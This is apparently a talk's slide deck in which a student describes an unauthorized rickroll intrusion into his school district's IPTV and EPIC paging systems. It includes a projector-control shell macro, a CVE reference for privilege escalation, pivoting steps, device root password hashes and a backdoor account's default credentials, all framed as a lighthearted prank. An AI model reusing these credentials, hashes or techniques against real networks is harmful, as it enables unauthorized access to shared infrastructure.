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Disclaimers!

• Raw script kiddie content ahead
• This is for educational purposes only
• Please don’t hack my school district















IPTV System

• AvediaPlayer r9300 - receivers 
connected to projectors/displays

• AvediaStream e3635 - encoders 
that broadcast display video 
output as a network stream

• AvediaServer - easy and central 
management of linked products
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Moving on to Senior Year

• Nothing happened in sophomore year
• COVID-19 pandemic in junior year
• Plan to transition from hybrid learning to a full 

in-person return in April of my senior year

• "Oh hey, I still have access to all those devices"
• "Oh hey, I should do a senior prank"
• "Oh hey, I should rickroll the entire school district“
• Operation Big Rick begins







Features of LanSchool Teacher

• Freeze a student computer to make it 
unusable

• Remotely view and control a student
• Upload arbitrary files
• Execute arbitrary files
• View keystroke history









New Discoveries

• All Exterity products run SSH!
• They let you open a shell!
• We can make a payload that runs 

commands locally!



macroMain() {

  # 10:55

  stepSetChannel "rtp://225.25.25.25:5000"

  sendRequest "$jsonSetHDMI"

  sendRequest "$jsonDisableInfrared"

  sendRequest "$jsonSerialPowerOn"

  # 10:55 - 10:58

  mainLoop 180

  # Switch to HDMI again - just in case

  sendRequest "$jsonSetHDMI"

  # 10:58 - 11:07

  mainLoop 540

  # 11:07

  stepRestoreBackup

  sendRequest "$jsonEnableInfrared"

}

mainLoop() {

  secs=$1

  endTime=$(( $(date +%s) + secs ))

  while [ $(date +%s) -lt $endTime ]; do

    sendRequest "$jsonMaxVolume"

    sendRequest "$jsonSerialPowerOn"

    sleep 10

  done

}
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Set to HDMI
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  sendRequest "$jsonSetHDMI"

  sendRequest "$jsonDisableInfrared"

  sendRequest "$jsonSerialPowerOn"

  # 10:55 - 10:58

  mainLoop 180

  # Switch to HDMI again - just in case

  sendRequest "$jsonSetHDMI"

  # 10:58 - 11:07

  mainLoop 540

  # 11:07

  stepRestoreBackup

  sendRequest "$jsonEnableInfrared"

}

mainLoop() {

  secs=$1

  endTime=$(( $(date +%s) + secs ))

  while [ $(date +%s) -lt $endTime ]; do

    sendRequest "$jsonMaxVolume"

    sendRequest "$jsonSerialPowerOn"

    sleep 10

  done

}

Disable infrared remotes



macroMain() {

  # 10:55

  stepSetChannel "rtp://225.25.25.25:5000"

  sendRequest "$jsonSetHDMI"

  sendRequest "$jsonDisableInfrared"

  sendRequest "$jsonSerialPowerOn"

  # 10:55 - 10:58

  mainLoop 180

  # Switch to HDMI again - just in case

  sendRequest "$jsonSetHDMI"

  # 10:58 - 11:07

  mainLoop 540

  # 11:07

  stepRestoreBackup

  sendRequest "$jsonEnableInfrared"

}

mainLoop() {

  secs=$1

  endTime=$(( $(date +%s) + secs ))

  while [ $(date +%s) -lt $endTime ]; do

    sendRequest "$jsonMaxVolume"

    sendRequest "$jsonSerialPowerOn"

    sleep 10

  done
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Power on the projector



macroMain() {
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Loop “max volume” and “power on”
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Set to HDMI (again)



macroMain() {

  # 10:55
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  sendRequest "$jsonSetHDMI"

  sendRequest "$jsonDisableInfrared"
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Loop “max volume” and “power on”



macroMain() {

  # 10:55

  stepSetChannel "rtp://225.25.25.25:5000"

  sendRequest "$jsonSetHDMI"

  sendRequest "$jsonDisableInfrared"

  sendRequest "$jsonSerialPowerOn"

  # 10:55 - 10:58

  mainLoop 180

  # Switch to HDMI again - just in case

  sendRequest "$jsonSetHDMI"

  # 10:58 - 11:07

  mainLoop 540

  # 11:07

  stepRestoreBackup

  sendRequest "$jsonEnableInfrared"

}

mainLoop() {

  secs=$1

  endTime=$(( $(date +%s) + secs ))

  while [ $(date +%s) -lt $endTime ]; do

    sendRequest "$jsonMaxVolume"

    sendRequest "$jsonSerialPowerOn"

    sleep 10

  done

}

Restore previous channel
Re-enable infrared



Pivoting and Script Distribution

• We maintained a pivot of at least three 
AvediaPlayers before connecting to the 
AvediaServer

• From the AvediaServer, we slowly 
distributed the script to all of the 
AvediaPlayers that we identified



AvediaPlayer/Stream Priv Esc



CVE-2021-42109



Root Hashes

AvediaPlayer:
root:$1$O1/JPE3s$tCMMA6hBT19iyMj/pVw5o1:16514:0:99999:7:::

AvediaStream:
root:SULKuLtqaI/3c:0:0:root:/root:/bin/ash



Go Time!

• Date and time picked for April 30th, 2021, to 
maximize viewership and minimize disruptions

• We had plenty of time to prepare, test, and stage
• We're ready!
• But at the last minute... we found something new



The EPIC System

• Education Paging and Intercom Communications
• Hallways and classroom speakers
• EPIC server

• Activate alarms/drills: fire, tornadoes, 
lockdowns

• Create and manage bell schedules

• Upload custom audio for bells ( ͡° ͜ʖ ͡° )



April 27th, 2021

• 3 days before the Big Rick
• We discover the IP ranges for the speakers!
• Default passwords didn't work :(















$ ls -la
total 2384
drwxr-xr-x 4 root root    4096 Apr 29 15:00 .
drwxr-xr-x 3 root root    4096 Apr 29 15:01 ..
drwxr-xr-x 3 root root    4096 Apr 29 15:00 config
-rwxr-xr-x 1 root root   10032 Apr 29 15:00 config.txt
-rwxr-xr-x 1 root root   10235 Apr 29 15:00 config_template.txt
-rwxr-xr-x 1 root root   26989 Apr 29 15:00 device-sip.txt
-rwxr-xr-x 1 root root 2323081 Apr 29 15:00 epicsystemdump.sql
-rwxr-xr-x 1 root root     208 Apr 29 15:00 extconfig.txt
-rwxr-xr-x 1 root root    1330 Apr 29 15:00 extensions.txt
-rwxr-xr-x 1 root root     369 Apr 29 15:00 http.txt
-rwxr-xr-x 1 root root       0 Apr 29 15:00 index.txt
-rwxr-xr-x 1 root root     423 Apr 29 15:00 manager.txt
-rwxr-xr-x 1 root root      39 Apr 29 15:00 pins.txt
drwxr-xr-x 3 root root    4096 Apr 29 15:00 public
-rwxr-xr-x 1 root root     263 Apr 29 15:00 res_config_mysql.txt
-rwxr-xr-x 1 root root     212 Apr 29 15:00 rtp.txt
-rwxr-xr-x 1 root root    5812 Apr 29 15:00 sip.txt
-rwxr-xr-x 1 root root    5143 Apr 29 15:00 zone-extensions.txt
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343,'district', '2017-07-26 13:17:11.000'

100,'teacher',  '2020-09-01 12:05:38.000'

2,'schooladmin','2017-07-26 13:17:11.000'

It's a backdoor account!



Username: district
Password: password



And that's how we EPICLY pwned all the EPIC servers!

All done in less than a day and the day before the Big 
Rick!



Uploading rick.wav to the list of bells >:)

normal schedule ->

rickroll schedule ->











The Aftermath

• We documented 
everything in a 26-page 
penetration test report

• The report was emailed 
to all the technical 
supervisors after the 
rickrolls were complete

• We did this anonymously







Lessons Learned

1. Always maintain a pivot
2. Check your network scans carefully
3. Try to keep things as tame as possible – no 
unnecessary things that could cause trouble
4. Document everything to protect yourself



Thank You!
• My Big Rick accomplices: 

Shapes, Jimmy, and Green
• Mr. Drenth, for being the best IT 

teacher ever
• SIGPwny and friends, for 

encouraging and helping me prepare
• My district, for letting me graduate 

and not pressing charges

Website: whitehoodhacker.net
Twitter: @WhiteHoodHacker

https://whitehoodhacker.net/

